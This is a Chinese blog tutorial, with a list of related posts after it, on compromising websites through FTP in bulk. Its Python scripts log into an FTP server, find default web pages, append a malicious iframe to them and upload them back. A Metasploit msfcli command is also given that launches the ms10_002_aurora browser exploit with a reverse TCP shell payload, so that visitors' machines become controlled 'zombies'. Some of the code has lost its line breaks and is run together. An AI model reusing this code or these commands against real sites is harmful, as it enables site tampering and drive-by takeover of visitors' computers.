目录

一、在FTP服务器上搜索网页

1.1、函数:

1.2、实现:

二、在网页中加入恶意注入代码

2.1、分析:

2.2、函数:

2.3、实现:


一、在FTP服务器上搜索网页

1.1、函数:

ftp.nlst():返回FTP服务器上指定目录的文件列表

fileName.lower():将字符串中的所有大写字母转换为小写字母

1.2、实现:

有了FTP 服务器的登录口令之后,要测试一下该服务器是否提供Web 服务


首先要列出FTP 目录中的所有文件, 搜索其中是否含有默认网页。returnDefault()函数输入的参数是一个FTP 连接, 返回一个它找到的默认网页的数组。它是通过发出NLST 命令(列出目录中所有文件的命令)完成这一操作的。该函数会逐个检查NLST 命令列出的每个文件的文件名是不是默认的Web 页面文件名, 并把找到的所有默认网页都添加到一个叫retList 的数组中。完成这一迭代操作后, 函数返回该数组。


运行python defaultPages.py

import ftplibdef returnDefault(ftp):try:dirList = ftp.nlst()except:dirList = []print('[-] Could not list directory contents.')print('[-] Skipping To Next Target.')returnretList = []for fileName in dirList:fn = fileName.lower()if '.php' in fn or '.htm' in fn or '.asp' in fn:print('[+] Found default page: ' + fileName)retList.append(fileName)return retListhost = '192.168.190.131'
userName = 'guest'
password = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, password)
returnDefault(ftp)


二、在网页中加入恶意注入代码

2.1、分析:

已经找到了网页文件, 必须用恶意重定向代码感染它们。为了快速创建一个位于http://xx.xx.xx.xx:8080/exploit 的恶意服务器和页面,将使用Metasploit 框架,选用的是msl0_002_aurora, ip:8080/exploit 上的网页会利用被重定向到它这里的浏览器中的漏洞, 使之向我们提供一个反向连接, 令我们能通过这个反向连接来控制这台“ 肉机”

msfcli exploit/windows/browser/ms10_002_aurora
LHOST=xx.xx.xx.xx SRVHOST=xx.xx.xx.xx URIPATH=/exploit
PAYLOAD=windows/shell/reverse_tcp LHOST=xx.xx.xx.xx LPORT=443 E


如果有哪个有漏洞的浏览器连接到http://xx.xx.xx.xx:8080/ exploit这个服务器, 它就会执行漏洞利用代码。一旦成功,将生成一个反向的TCPshell, 并让我们得到这台被黑计算机上的Windows命令行提示窗口。有了这个命令shell后, 就能在“ 肉机” 上以管理员权限执行命令


接下来,要在被黑服务器的正常网页中添加一段重定向至我们的恶意服务器的代码。我们可以从被黑的服务器上把默认网页下载下来, 在其中插入一个iframe, 然后把这个插入了恶意代码的网页传回到被黑的服务器上


injectPage()这个函数,需要给injectPage()函数输入一个FTP连接、网页名, 以及表示用于重定向的这个iframe字符串,然后下载该网页的临时副本。接着, 它把重定向到我们恶意服务器上的这个iframe添加到这个临时文件中。最后, 函数将被感染的网页传回被黑的服务器上。

2.2、函数:

ftp.retrlines():使用RETR命令获取文件多行信息


storlines (cmd, f):给定 FTP 命令。(如“ STOR filename”),用来上传文本文件


ftplib.FTP类:实现FTP协议的客户端,可以使用它来编写执行各种FTP作业的Python程序

2.3、实现:

python injectPage.py

import ftplibdef injectPage(ftp, page, redirect):f = open(page + '.tmp', 'w')ftp.retrlines('RETR ' + page, f.write)print('[+] Downloaded Page: ' + page)f.write(redirect)f.close()print('[+] Injected Malicious IFrame on: ' + page)ftp.storlines('STOR ' + page, open(page + '.tmp'))print('[+] Uploaded Injected Page: ' + page)host = '192.168.190.131'
userName = 'guest'
passWord = 'guest'
ftp = ftplib.FTP(host)
ftp.login(userName, passWord)
redirect = '<iframe src= '+'"http://xx.xx.xx.xx:8080/exploit"></iframe>'
injectPage(ftp, 'index.html', redirect)

【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(下):在FTP服务器上搜索网页+注入代码相关推荐

  1. 【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(终)

    前言: 介绍: 博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章). 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edus ...

  2. 【Python脚本进阶】2.3、利用FTP与Web批量抓“ 肉机”(中):使用Ftplib暴力破解FTP用户口令

    一.简介 1.1.概述: 虽然匿名访问是进入系统的方式之一, 但攻击者也能成功地用偷来的用户名/密码访问合法的FTP 服务器.FileZilla 之类的FTP 客户端程序往往将密码以明文形式存储在配置 ...

  3. 在FTP服务器上搜索网页

    这个其实就是判断目标FTP服务器是否存在php和htm文件和asp文件//////////////////////////运行FTP服务器 from pyftpdlib.handlers import ...

  4. 【Python脚本进阶】1.3、第二个脚本:Zip文件口令破解机

    目录 一.简介 概述: 二.示例 示例: 优化 提高性能 任意性 注: 测试方法: 一.简介 概述: 编写Zip文件口令破解机要学习zipfile 库的使用方法 打开Python解释器, 我们用hel ...

  5. 【Python脚本进阶】2.1、端口扫描器(下):NMAP端口扫描

    目录 一.简介 1.1.扩展 1.2.端口扫描类型 1.3.实现: 一.简介 1.1.扩展 由TCP连接扫描脚本,到其他类型的扫描,Nmap端口扫描工具包提供了大量的功能,如提供的ACK.RST.FI ...

  6. python 收发微信之一:利用 WxPusher 的 web api 及 python SDK 两种方式给自己发微信

    目 录 摘要 实操 代码分析 需求来源与路径选择 参考 摘要 本文给出利用 WxPusher 提供的 web api 与 python SDK 两种方式,实现微信发送的 python 代码样例,并简单 ...

  7. 【Python Django Web项目】利用 Python+Django+Pycharm+MySQL 搭建一个自己的Web网站项目的步骤(详细图文)上集

    今天我们要来介绍一下, 利用 Python+Django+Pycharm+MySQL 搭建一个自己的Web网站项目的步骤 首先我们要建立一个专门放项目的文件夹 如下 E:\Projects , 我们建 ...

  8. linux ftp去不了文件损坏,Linux下使用ftp上传压缩文件,windows下载打开损坏问题

    由于业务部门提出新的需求,需要在业务系统上进行修改,于是准备把生产环境上的系统下载到本地进行相应的修改(系统是第三方做的),服务器用的是CentOS6.3,由于安全问题,服务器的登录需要经过堡垒机,不 ...

  9. 使用python flask实现写接口供别人调动,并把flask项目部署在Linux服务器上

    需求: 需要写接口查数据库数据,并返回给前端. 思路: 这个需求要求是用最快的方式出一个demo,所以选择用python flask编写,它比较轻量级. 代码实现,用几个例子说明一下用法 1.直接返回 ...

最新文章

  1. mysql主从配置安装_mysql主从配置完整版(二进制安装)
  2. cdmp不停增长 oracle_系统内存不足导致oracle进程被误杀terminating the instance due to error 822...
  3. Radware:2016年攻击趋势
  4. 聚类 K-Means Using Python
  5. numpy基础——数组的组合与分割
  6. ASP.NET Core 3.x启动时运行异步任务(二)
  7. 【开源项目】基于QT录制PCM音频实例详细
  8. vs2017生成sqlserver 2017项目出现.Net SqlClient Data Provider: Msg 10343
  9. Pytorch与Tensorflow,哪个更适合你?
  10. 当前,我们的DJANGO项目的requirements.txt文件
  11. 【离散数学】图的基本概念和结论
  12. 详解Spring框架的依赖注入
  13. Android -- ViewGroup源码分析+自定义
  14. ant design pro模板_ant design pro 当中改变ant design 组件的样式和 数据管理
  15. C语言打印九九乘法表
  16. 华为路由器NAT经典配置
  17. L2-029 特立独行的幸福 (25 分) 搜索回溯
  18. 整站优化与网页优化的区别
  19. 解决“用友U8输入中文汉字显示问号“的问题
  20. 谷歌智能助理推出「正能量新闻推送」功能,帮助用户不那么沮丧…

热门文章

  1. LeetCode专题:树与回溯(完结,已更50题)
  2. prometheus 警告
  3. SRC部落,国家、企业和安全人才的三方求和
  4. js小数/浮点数 两数相乘,相除精度问题
  5. cad转kml代码 lisp_CAD图形文件与KML格式精准转换方法
  6. (四)研发阶段(包括医疗领域等各种领域)涉及DHF、DMR、DHR 、LHR、FMEA、SFMEA等标准规范。
  7. scrapy爬虫,爬取整形美容网医生信息
  8. 0326 预习直播笔记
  9. dtoj#4212. 小X爱旅行(travel)
  10. There was an error checking the latest version of pip [已解决]